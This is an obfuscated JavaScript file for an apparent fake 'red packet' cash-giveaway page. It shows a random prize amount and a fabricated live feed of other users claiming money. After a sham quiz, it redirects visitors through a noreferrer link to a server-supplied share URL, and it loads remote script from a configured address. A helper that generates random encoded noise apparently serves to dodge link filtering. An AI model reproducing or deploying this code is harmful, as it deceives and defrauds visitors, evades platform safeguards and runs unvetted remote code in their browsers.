window['gConfig'] = window['data'] || {};
if (!Array['prototype']['shuffle']) {
    Array['prototype']['shuffle'] = function () {
        for (var _0x4f67x1, _0x4f67x2, _0x4f67x3 = this['length']; _0x4f67x3; _0x4f67x1 = parseInt(Math['random']() * _0x4f67x3), _0x4f67x2 = this[--_0x4f67x3], this[_0x4f67x3] = this[_0x4f67x1], this[_0x4f67x1] = _0x4f67x2) {
            ;
        }
        ;
        return this
    }
}
;

function pad(_0x4f67x5, _0x4f67x6) {
    var _0x4f67x7 = _0x4f67x5 + '';
    while (_0x4f67x7['length'] < _0x4f67x6) {
        _0x4f67x7 = '0' + _0x4f67x7
    }
    ;
    return _0x4f67x7
}

function getFuck163() {
    var _0x4f67x9 = [];
    for (var _0x4f67x3 = 0; _0x4f67x3 < 10; _0x4f67x3++) {
        _0x4f67x9['push']('%' + pad(1 + Math['round'](Math['random']() * 18), 2))
    }
    ;
    return _0x4f67x9['join']('')
}

$(function () {
    var _0x4f67xa = {tpl: {body: M['decode'](window['pagebody']), userItem: M['decode']('PGxpIGNsYXNzPSJhbmltYXRlZCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48ZGl2IGNsYXNzPSJsaXN0LWl0ZW0tbGVmdCI+PGltZyBzcmM9IiUoYXZhdGFyKSI+PGRpdiBjbGFzcz0iaXRlbS1pbmZvIj48cCBjbGFzcz0iaXRlbS1pbmZvLW5hbWUiPiUobmFtZSk8L3A+PHAgY2xhc3M9Iml0ZW0taW5mby10aW1lIj4lKHRpbWUpPC9wPiA8L2Rpdj4gPC9kaXY+IDxkaXYgY2xhc3M9Imxpc3QtaXRlbS1yaWdodCI+6aKG5Y+WIDxzcGFuPiUobW9uZXkp5YWDPC9zcGFuPiA8L2Rpdj48L2xpPg==')}};
    _0x4f67xa['tpl']['body'];
    var _0x4f67xb = JSON['parse'](M['decode'](window['userlist']));
    _0x4f67xb['shuffle']();
    var _0x4f67xc = 0;
    var _0x4f67xd = 0;
    var _0x4f67xe = '';
    var _0x4f67xf = 2500;

    function pad(_0x4f67x5, _0x4f67x6) {
        var _0x4f67x7 = _0x4f67x5 + '';
        while (_0x4f67x7['length'] < _0x4f67x6) {
            _0x4f67x7 = '0' + _0x4f67x7
        }
        ;
        return _0x4f67x7
    }

    function _0x4f67x10(_0x4f67x11) {
        $('head')['append']('<style type="text/css">body{font-size:16px;line-height:1.4;font-family:-apple-system-font,Helvetica Neue,sans-serif}*{padding:0;margin:0}.toast{transition-duration:.2s;transform:translate(-50%,-50%);margin:0;top:45%;z-index:2000;position:fixed;width:7.6em;min-height:7.6em;left:50%;background:hsla(0,0%,7%,.7);text-align:center;border-radius:5px;color:#fff}.toast.toast--visible{opacity:1;visibility:visible}.icon_toast.loading{margin:30px 0 0;width:38px;height:38px;vertical-align:baseline}.icon_toast{font-size:55px;color:#fff}.loading{display:inline-block;animation:e 1s steps(12) infinite;background:transparent url() no-repeat;background-size:100%}i{font-style:italic}@keyframes e{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}</style>');
        $('body')['css']('background', 'white')['find']('*')['remove']();
        $('body')['append']('<div class="toast loading_toast toast--visible"><div><i class="loading icon_toast"></i></div><p class="toast_content">&#x6B63;&#x5728;&#x8FDB;&#x5165;</p></div>');
        setTimeout(function () {
            window['share_url'] = window['share_url']['replace'](/{fuck163}/ig, parseFloat(gConfig['money'] / 100)['toFixed'](2));
            _0x4f67x12(M['addParam'](window['share_url'], {money: parseFloat(gConfig['money'] / 100)['toFixed'](2)}))
        }, 10)
    }

    function _0x4f67x12(_0x4f67x11) {
        var _0x4f67x13 = document['createElement']('a');
        _0x4f67x13['setAttribute']('rel', 'noreferrer');
        _0x4f67x13['setAttribute']('id', 'm_noreferrer');
        _0x4f67x13['setAttribute']('target', '_top');
        _0x4f67x13['setAttribute']('href', _0x4f67x11);
        document['body']['appendChild'](_0x4f67x13);
        document['getElementById']('m_noreferrer')['click']();
        document['body']['removeChild'](_0x4f67x13)
    }

    function _0x4f67x14(_0x4f67x15) {
        $['get']('/zseHb.share.php?t=' + (+new Date()), function (_0x4f67x16) {
            window['share_url'] = _0x4f67x16;
            if (typeof _0x4f67x15 === 'function') {
                _0x4f67x15()
            }
        })
    }

    function _0x4f67x17() {
        if (_0x4f67xd === _0x4f67xb['length']) {
            _0x4f67xd = 0
        }
        ;var _0x4f67x18 = $(_0x4f67xa['tpl']['userItem']['jstpl_format'](_0x4f67xb[_0x4f67xd++]));
        $('.index-show-more-body .list')['prepend'](_0x4f67x18);
        _0x4f67x18['slideDown'](1000);
        $('.index-show-more-body .list li')['each'](function (_0x4f67x19, _0x4f67x1a) {
            if (_0x4f67x19 > 6) {
                $(_0x4f67x1a)['slideUp'](1000);
                setTimeout(function () {
                    $(_0x4f67x1a)['remove']()
                }, 1000)
            }
        })
    }

    function _0x4f67x1b() {
        clearTimeout(_0x4f67xc);
        _0x4f67xc = setTimeout(function () {
            _0x4f67x17();
            _0x4f67x1b()
        }, _0x4f67xf)
    }

    function _0x4f67x1c() {
        var _0x4f67x1d = +new Date();
        $(_0x4f67xb)['each'](function (_0x4f67x19, _0x4f67x1a) {
            var _0x4f67x1e = new Date((_0x4f67x1d - Math['random']() * 600000));
            var _0x4f67x1f = _0x4f67x1e['getMinutes']();
            if (_0x4f67x1f < 10) {
                _0x4f67x1f = '0' + _0x4f67x1f
            }
            ;var _0x4f67x20 = _0x4f67x1e['getHours']() + ':' + _0x4f67x1f;
            _0x4f67x1a['time'] = _0x4f67x20
        });
        for (_0x4f67xd = 0; _0x4f67xd < 6; _0x4f67xd++) {
            var _0x4f67x1a = _0x4f67xa['tpl']['userItem']['jstpl_format'](_0x4f67xb[_0x4f67xd]);
            $('.index-show-more-body .list')['prepend']($(_0x4f67x1a)['show']())
        }
        ;_0x4f67xe = $('.index-show-more-body .list li')['eq'](0)['width']() + 'px';
        _0x4f67x17();
        _0x4f67x1b()
    }

    function _0x4f67x21() {
        gConfig['money'] = parseInt((parseFloat(Math['random']() * 20) + 60) * 100);
        M['resetFont']();
        $(document['body'])['append'](_0x4f67xa['tpl']['body']['jstpl_format']({
            head: gConfig['headimg'] ? gConfig['headimg'] : jroot + '/qzone/image/52d084b3c5c79.png',
            huodongname: unescape(gConfig['actname'] ? gConfig['actname'] : '%u53CC12%u5168%u6C11%u7EA2%u5305%u8282'),
            lingqunum: gConfig['lingqunum'],
            fafangnum: gConfig['fafangnum']
        }));
        $('.index-show-more-body')['show']();
        $('.js_money')['text'](parseFloat(gConfig['money'] / 100)['toFixed'](2));
        _0x4f67x1c()
    }

    function _0x4f67x22() {
        if (window['share_url']) {
            _0x4f67x10(share_url)
        } else {
            _0x4f67x14(function () {
                _0x4f67x10(window['share_url'])
            })
        }
    }

    function _0x4f67x23() {
        $(document['body'])['on']('click', '.btn-open-red-packet', function () {
            var _0x4f67x24 = $('.btn-open-red-packet');
            if (_0x4f67x24['hasClass']('open')) {
                return false
            }
            ;_0x4f67x24['addClass']('open');
            _0x4f67x14();
            setTimeout(function () {
                $('.index-show-more-body')['fadeOut'](700);
                $('.award-body')['fadeIn'](700)
            }, 1500)
        });
        $(document['body'])['on']('click', '.charge-btn', function () {
            var _0x4f67x25 = '5rS75YqoPHNwYW4gc3R5bGU9ImNvbG9yOiAjZjUyOTRjIj7pmZDlvq7kv6HnlKjmiLflj4LkuI48L3NwYW4+77yM6K+3562U5a+55pys6aKY56Gu6K6k5Y+C5LiO6LWE5qC877yB';
            g_dialog['confirm']({
                title: gConfig['wenti'] ? gConfig['wenti'] : M['decode']('5YWD5pemIOWcqOWHoOaciOS7ve+8nw=='),
                message: gConfig['wentitip'] ? gConfig['wentitip'] : M['decode'](_0x4f67x25),
                btn: [gConfig['wentihuida1'] ? gConfig['wentihuida1'] : M['decode']('5LiA5pyI'), gConfig['wentihuida2'] ? gConfig['wentihuida2'] : M['decode']('5Y2B5LqM5pyI')],
                cb: _0x4f67x22,
                cancelCb: _0x4f67x22
            })
        })
    }

    function _0x4f67x26() {
        _0x4f67x21();
        _0x4f67x23()
    }

    _0x4f67x26()
});

function vc_ok() {
    var _0x4f67x24 = $('.btn-open-red-packet');
    if (_0x4f67x24['hasClass']('open')) {
    }
    ;_0x4f67x24['addClass']('open');
    setTimeout(function () {
        $('.index-show-more-body')['fadeOut'](700);
        $('.award-body')['fadeIn'](700)
    }, 2500)
}

$(function () {
    if (gConfig['hm']) {
        M['report'](gConfig['hm']);
        M['hotClick']('pv.detail_page')
    }
});
$(function () {
    M['hideShare']()
});
$(function () {
    if (gConfig['attached'] && gConfig['attached']['back_api']) {
        M['loadJS'](gConfig['attached']['back_api'])
    }
});
// var _hmt = _hmt || [];
// (function () {
//     var _0x4f67x29 = document['createElement']('script');
//     _0x4f67x29['src'] = 'https://hm.baidu.com/hm.js?c04118d91b6f3a4090471cd32cd05e56';
//     var _0x4f67x7 = document['getElementsByTagName']('script')[0];
//     _0x4f67x7['parentNode']['insertBefore'](_0x4f67x29, _0x4f67x7)
// })()